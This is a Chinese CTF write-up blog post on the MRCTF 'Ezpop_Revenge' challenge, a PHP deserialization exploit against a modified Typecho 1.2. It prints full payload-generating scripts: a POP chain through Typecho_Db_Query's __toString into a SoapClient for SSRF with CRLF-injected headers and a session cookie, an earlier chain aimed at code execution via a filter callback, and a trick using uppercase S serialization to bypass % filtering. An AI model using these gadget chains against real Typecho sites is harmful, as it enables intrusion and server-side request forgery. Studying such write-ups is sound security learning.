zoukankan      html  css  js  c++  java
  • MRCTF Ezpop_Revenge小记

    前言

    一道typecho1.2的反序列化,顺便记录一下踩的坑

    www.zip获得源码,结构大致如下
    在这里插入图片描述
    flag.php需要ssrf,如果成功会写入session
    在这里插入图片描述
    拿到源码直接去网上先找了一下有没有现成的payload(懒,
    找到一篇类似的
    https://p0sec.net/index.php/archives/114/
    但是入口点是install.php,而源码里的install.php已经被删掉了,全局搜索一下:
    在这里插入图片描述
    路径为usr/plugins/HelloWorld/Plugin.php
    在这里插入图片描述
    很明显这里就是反序列化的点了,但是这里是一个方法不能直接利用,然后鸽了半天,后来才知道有个定义的路由==
    typechoplugin.php下:

    Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
    

    首先看到这里:
    在这里插入图片描述
    很明显的入口点,跟进Typecho_Db::__construct
    在这里插入图片描述
    然后这里有一个字符拼接,于是我就按照上面那文章的思路找__tostring (接下来是踩坑)

    踩坑

    在这里插入图片描述
    Feed.php下的tostring的358行
    在这里插入图片描述
    并且跟不过去,那么就可以找__get
    Request.php
    在这里插入图片描述
    跟进
    在这里插入图片描述
    跟进_applyFilter
    在这里插入图片描述
    value由this->_params['screenName']决定可控,$_filter也可控,rce??(嘴角疯狂上扬)
    于是我构造了如下pop链:

    <?php
    class HelloWorld_DB{
        private $coincidence;
        public function __construct(){
            $this->coincidence=(['hello'=>new Typecho_Feed(),'world'=>'typecho_']);
            var_dump($this->coincidence);
        }
        function  __wakeup(){
            $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
        }
    }
    class Typecho_Db
    {
        public function __construct($adapterName, $prefix = 'typecho_')
        {
            $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
        }
    }
    class Typecho_Feed
    {
        private $_type = 'ATOM 1.0';
        private $_charset = 'UTF-8';
        private $_lang = 'zh';
        private $_items = array();
        public function __construct(){
            $this->_items=array('author' => new Typecho_Request());
        }
    }
    class Typecho_Request{
        private $_filter=array();
        private $_params=array();
        public function __construct()
        {
            $this->_params['screenName'] = -1;
            $this->_filter = array('phpinfo');
        }
    }
    $a=new HelloWorld_DB();
    echo base64_encode(serialize($a));
    

    然而这里函数过滤实在太多了,命令执行的函数几乎全过滤了,然后我就一直试,比赛结束也没试出来...(这个pop链貌似适用typecho1.1版本)

    麻烦的解法(踩坑二)

    后来我突然想到要是能rce为什么还有ssrf读flag....
    好吧其实一开始__tostring我就找错了,应该找query.php这个跳板
    在这里插入图片描述
    可以看到如果$this->_sqlPreBuild['action']=SELECT就调用:

    $this->_adapter->parseSelect($this->_sqlPreBuild)
    

    然后令$this->_adapter为Soapclient实例,触发_call完成ssrf
    调用链:
    HelloWorld_DB::wakeup-->
    Typecho_Db::__construct(tostring)-->
    Typecho_Db_Query::__construct-->
    (this->_adapter=new Soapclient)-->
    ssrf

    然后又是一个坑:
    这里的成员变量大部分都是private的,而private有不可见字符需要用%00填充,而这里%是被过滤的:
    在这里插入图片描述
    然后就需要用0来代替%00

    这里有个知识点吧,以前没碰到过:

    在 PHP5 最新的 CVS 中,
    新的序列化方式叫做 escaped binary string 方式,这是相对与普通那种 non-escaped binary string 方式来说的:
    string 型数据(字符串)新的序列化格式为:
    S:"<length>":"<value>";
    其中 <length> 是源字符串的长度,而非 <value> 的长度。<length> 是非负整数,数字前可以带有正号(+)。<value> 为经过转义之后的字符串。
    它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 ),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 <value> 的内容了。

    普通的序列化小s对应的就是普通的字符串,如s:3:"%00a%00";
    而序列化的大S则对应的是加上16进制,如S:2:"0a0";
    看个例子
    在这里插入图片描述
    将不可见字符%00转化为十六进制,大S成功执行wakeup
    在这里插入图片描述
    小写s则失败
    在这里插入图片描述
    然后这里就需要将%统统转化为,然后将标识字符串的s转化为S,这里用了颖奇师傅的方法:https://www.gem-love.com/ctf/2184.html#Ezpop_Revenge

    function decorate($str)
    {
        $arr = explode(':', $str);
        $newstr = '';
        for ($i = 0; $i < count($arr); $i++) {
            if (preg_match('/00/', $arr[$i])) {
                $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
            }
        }
        $i = 0;
        for (; $i < count($arr) - 1; $i++) {
            $newstr .= $arr[$i];
            $newstr .= ":";
        }
        $newstr .= $arr[$i];
        return $newstr;
    }
    

    将字符串以:冒号打散为数组,然后遍历用$arr[$i]匹配每个00,如果$arr[$i-2]中有小s就替换为S,然后以:拼接,看下面这个例子就懂了
    在这里插入图片描述
    最终payload:

    <?php
    class HelloWorld_DB{
        private $coincidence;
        public function __construct(){
            $this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
        }
    }
    class Typecho_Db
    {
        public function __construct($adapterName, $prefix = 'typecho_')
        {
            $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
        }
    }
    class Typecho_Db_Query
    {
        private $_sqlPreBuild;
        private $_adapter;
        public function __construct(){
            $this->_sqlPreBuild['action']='SELECT';
            $target = "http://127.0.0.1/flag.php";
            $headers = array(
        'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
    );
            $this->_adapter=new SoapClient(
                null,
                array('location' => $target,
                    'user_agent'=>str_replace('^^', "
    ",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
        }
    
    
    }
    function decorate($str)
    {
        $arr = explode(':', $str);
        $newstr = '';
        for ($i = 0; $i < count($arr); $i++) {
            if (preg_match('/00/', $arr[$i])) {
                $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
            }
        }
        $i = 0;
        for (; $i < count($arr) - 1; $i++) {
            $newstr .= $arr[$i];
            $newstr .= ":";
        }
        $newstr .= $arr[$i];
        return $newstr;
    }
    $a=serialize(new HelloWorld_DB());
    $a = urlencode($a);
    $a = preg_replace('/%00/', '%5c%30%30', $a);
    $a = decorate(urldecode($a));
    echo base64_encode($a);
    

    加上一个?admin=1即可
    在这里插入图片描述

    正解

    我又傻了,这里的serialize会进行base64编码,然而解码出来是这样的:
    在这里插入图片描述
    根本就没有%号啊,那就不用替换了,所以直接:

    <?php
    class HelloWorld_DB{
        private $coincidence;
        public function __construct(){
            $this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
        }
    }
    class Typecho_Db
    {
        public function __construct($adapterName, $prefix = 'typecho_')
        {
            $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
        }
    }
    class Typecho_Db_Query
    {
        private $_sqlPreBuild;
        private $_adapter;
        public function __construct(){
            $this->_sqlPreBuild['action']='SELECT';
            $target = "http://127.0.0.1/flag.php";
            $headers = array(
        'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
    );
            $this->_adapter=new SoapClient(
                null,
                array('location' => $target,
                    'user_agent'=>str_replace('^^', "
    ",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
        }
    
    }
    serialize(new HelloWorld_DB());
    echo base64_encode($a);
    

    在这里插入图片描述

  • 相关阅读:
    虚拟机搭建Hadoop集群
    多线程编程之保护性暂挂模式
    Java多线程编程之不可变对象模式
    多线程编程之两阶段终止模式
    Spring自定义标签解析与实现
    Spring Bean注册解析(二)
    苹果ios开发
    java
    layui 单选项 点击显示与隐藏
    PHP -- 七牛云 在线视频 获取某一帧作为封面图
  • 原文地址:https://www.cnblogs.com/W4nder/p/12596114.html
Copyright © 2011-2022 走看看